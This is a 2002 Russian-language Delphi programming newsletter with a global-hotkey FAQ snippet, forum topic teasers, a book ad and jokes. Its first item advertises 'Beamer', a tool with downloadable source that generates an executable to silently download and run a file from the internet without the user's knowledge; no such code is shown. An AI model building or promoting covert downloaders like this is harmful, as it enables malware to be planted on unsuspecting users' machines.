Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

Мастера DELPHI. Новости мира компонент, FAQ, статьи...


Информационный Канал Subscribe.Ru

Ежедневная рассылка сайта Мастера DELPHI

DELPHI.mastak.ru

Выпуск от 14.07.02 09:04

Кое-что из нашей кладовки   |x|
  • Beamer v0.1a melifaro vahtang@hotmail.ru   (14.07.02 07:07)
    Beamer - скачивание и запуск приложений из интернета без ведома пользователя.

    Вам всего лишь надо запустить BeamSetup.exe с параметром, в котором будет указан URL закачеваемого файла, и автоматически создастся файл beamer.exe. Запущенный beamer незаметно для пользователя закачивает выбранный Вами файл, и после чего - запускает.
    Ну чем не прелесть?
    »»» Скачать: исходные тексты (31кб) демонстрационный EXE файл (58кб)
  • Kurs gluek gluek@mail.ru   (11.07.02 00:19)
    Программа переводит рубли<=>$$$ умеет сохранять и потом загружать курс валюты
    »»» Скачать: исходные тексты демонстрационный EXE файл (97кб)
Лучшее из нашего FAQ   |x|
Как назначить горячие клавиши (shortcuts), чтобы они были доступны даже если сейчас активна другая программа (как это делает аська).
Попробуй этот код:

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  protected
    procedure hotykey(var msg:TMessage); message WM_HOTKEY;
  end;

var
  Form1: TForm1;
  id,id2:Integer;

implementation

{$R *.DFM}


procedure TForm1.hotykey(var msg:TMessage);
begin
  if (msg.LParamLo=MOD_CONTROL) and (msg.LParamHi=81) then
  begin
    ShowMessage('Ctrl + Q wurde gedrьckt !');
  end;

  if (msg.LParamLo=MOD_CONTROL) and (msg.LParamHi=82) then
  begin
    ShowMessage('Ctrl + R wurde gedrьckt !');
  end;
end;


procedure TForm1.FormCreate(Sender: TObject);
begin
  id:=GlobalAddAtom('hotkey');
  RegisterHotKey(handle,id,mod_control,81);

  id2:=GlobalAddAtom('hotkey2');
  RegisterHotKey(handle,id2,mod_control,82);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  UnRegisterHotKey(handle,id);
  UnRegisterHotKey(handle,id2);
end;


Комментарий от Евгения Гаечкина (johnnycrisjoe@mail.ru)
при смене стиля окна с fsStayOnTop на fsNormal и обратно(предполагаю, что так происходит при смене стиля на любой), у него меняется handle, и соответственно сообщения WM_HOTKEY перестают поступать. Метод реанимации, в принципе прост:
UnRegisterHotKey со старым handle
смена стиля окна
RegisterHotKey - с новым handle
Метод не единственный, но поможет.

»»» Прислать свои комментарии

Обсуждается в конференциях   |x|
  • Реляционные отношения в InterBase
    Я хотел узнать вот что, если я построю в InterBase реляционную связь, то будет ли она уже сущуствовать в Дельфи при ...
  • Минимизация в трей вместо закрытия
    Как сделать так, что бы по крестику (закрытию) программа минимизировались в трей, а закрывалась только по пункту меню ...
  • Опять SHELL
    Существуют другике варианты запуска ВИНДы кроме shell=explorer.exe программынм путем (через мою прогу)?
  • Знатоки, подскажите пожалуйста....!
    у меня такая ситуация :занчит пишу вместо shell = explorer.exe в(system.ini) shell=project1.exe запускается моя ...
  • Есть 3 формы использующие AdvHttp
    и практически одинаковые процедуры совершенно не хочется писать ети процедуры для каждой формы отдельно но процедуры ...
  • Dos символы в Delphi
    Раньше в ДОСе можно было использовать символы для черчения рамок (# 195, # 196 и т.д.), как эту возможность воплотить в ...
  • Подключение к базе данных Access
    Здравствуйте! У меня такой вопрос. Как сделать универсальное подключение к базе данных, т.е. не зависящее от компьютера,...
У нас большой выбор статей   |x|
Создание хранителя экрана (ScreenSaver)
Основные правила написания программ "хранителей экрана" (ScreeSaver). Как сделать его минимального объема. Пример, создания полноценного хранителя объемом всего 20кб!!!
Новинки книжного рынка   |x|
Delphi 6. Базы данных и приложения
В книге предпринята попытка дать читателю целостное представление о процессе разработки программного обеспечения для реляционных баз данных.
В рамках поставленной цели авторами решены следующие задачи: рассмотрены основы языка Object Pascal на примере создания консольных приложений; рассмотрены объектно-ориентированные возможности языка Object Pascal и технология визуального программирования; описаны основные принципы работы с SQL-ссрвером InterBase; изложена методика взаимодействия программ, созданных в среде Delphi, с базами данных различного типа, в частности, SQL-сервером InterBase: рассмотрены основы проектирования баз данных с использованием программы ERwin; описана "методика разработки клиентского приложения для доступа к базам данных с использованием библиотек динамической загрузки, а также популярных программ Word и Excel для создания отчетов. На примере БД "Учебные компьютерные курсы" рассмотрен процесс разработки программного обеспечения, начиная с вопросов проектирования и заканчивая подготовкой отчетов.
Книга может быть использована в качестве основы курса лекции по соответствующей дисциплине.
Книга предназначена для старшеклассников, студентов, аспирантов, преподавателей и пользователей ПК, интересующихся программированием.

Автор: Кандзюба С. "ДиаSoft"
Другие сайты о DELPHI   |x|
SMExport, SMImport, SMReport Designer, SMLogging и другие компоненты
Всегда последние версии наших продуктов. Огромный набор бесплатных компонент и примеров. Статьи, links, tips, mailing list

» Оценка сайта: 3
Опрос населения :)
Новый журнал для программистов "RSDN Magazine". Готовы ли вы подписаться на него?
»»» Да, на сколько возможно
»»» Да, на 6 месяцев
»»» Да, на 3 месяца
»»» Да, на 1 месяц
»»» Нет, не готов
»»» Не знаю
Журнал "RSDN Magazine"  |x|

Дорогие друзья! Мы рады представить вам новый совместный проект сайтов www.rsdn.ru, delphi.mastak.ru и www.optim.ru - профессиональный журнал для программистов RSDN Magazine.
Несомненно, ваше мнение о необходимости такого журнала, содержании рубрик и темах отдельных статей поможет сделать журнал более полезным и интересным. Высказать свое мнение, проголосовать или же подписаться вы можете на сайте. Без вашего участия, нам будет трудно сделать правильный журнал!
На сайте выложен анонс пилотного выпуска журнала, вступительное слово от редакции.

Для души

Хокку дня
засвеченный кадр:
все видят солнце
я - твою улыбку

Афоризмы
Самое лучшее в мужской одежде - это женщины (Некий мичиганский политик)

Фраза дня
Винни пух с голоду.

Дурацкие законы (информация предоставлена сайтом kurilka.com)
В Канаде считается преступлением отдирать с тела пластыри на публике.
В провинции Онтарио автомобилистам запрещено ездить со скоростью более 80-ти километров в час. Велосипедисты, однако, имеют право обгона на всех дорогах.

И на закуску коротенький анекдот
Славяне были вольнолюбивым народом!
Их часто угоняли в рабство - но и там они не работали...

Фотоприколы.
Начните день с хорошего настроения!
http://delphi.mastak.ru/cgi-bin/prikol.pl?id=1107


На этом позвольте откланяться и пожелать вам удачного дня.
Искренне ваш, Алексей (delphi@mastak.com)

Добро пожаловать на сайт -= Мастера DELPHI =- 


http://subscribe.ru/
E-mail: ask@subscribe.ru
Отписаться
Убрать рекламу

В избранное